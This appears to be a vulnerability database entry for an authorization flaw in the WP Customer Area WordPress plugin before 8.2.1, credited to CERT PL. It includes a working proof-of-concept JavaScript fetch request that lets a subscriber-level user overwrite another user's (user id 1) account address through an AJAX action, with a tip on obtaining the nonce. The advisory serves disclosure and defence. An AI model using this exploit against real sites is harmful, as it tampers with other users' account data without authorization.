Lucene search

K
wpexploitKrzysztof Zając (CERT PL)WPEX-ID:9DEBE1EA-18AD-44C4-8078-68EB66D36C4A
HistoryJan 10, 2024 - 12:00 a.m.

WP Customer Area < 8.2.1 - Subscriber+ Account Address Update

2024-01-1000:00:00
Krzysztof Zając (CERT PL)
58
wp customer area
subscriber
account
address update
nonce
fetch
post request
exploit

AI Score

4.7

Confidence

High

EPSS

0

Percentile

14.0%

Description The plugin does not properly validate users capabilities in some of its AJAX actions, allowing malicious users to edit other users’ account address.

You may get the nonce from *your* save address form

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh',
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})
.then((response) => {
  return response.text();
})
.then((data) => {
  console.log(data);
});

AI Score

4.7

Confidence

High

EPSS

0

Percentile

14.0%

Related for WPEX-ID:9DEBE1EA-18AD-44C4-8078-68EB66D36C4A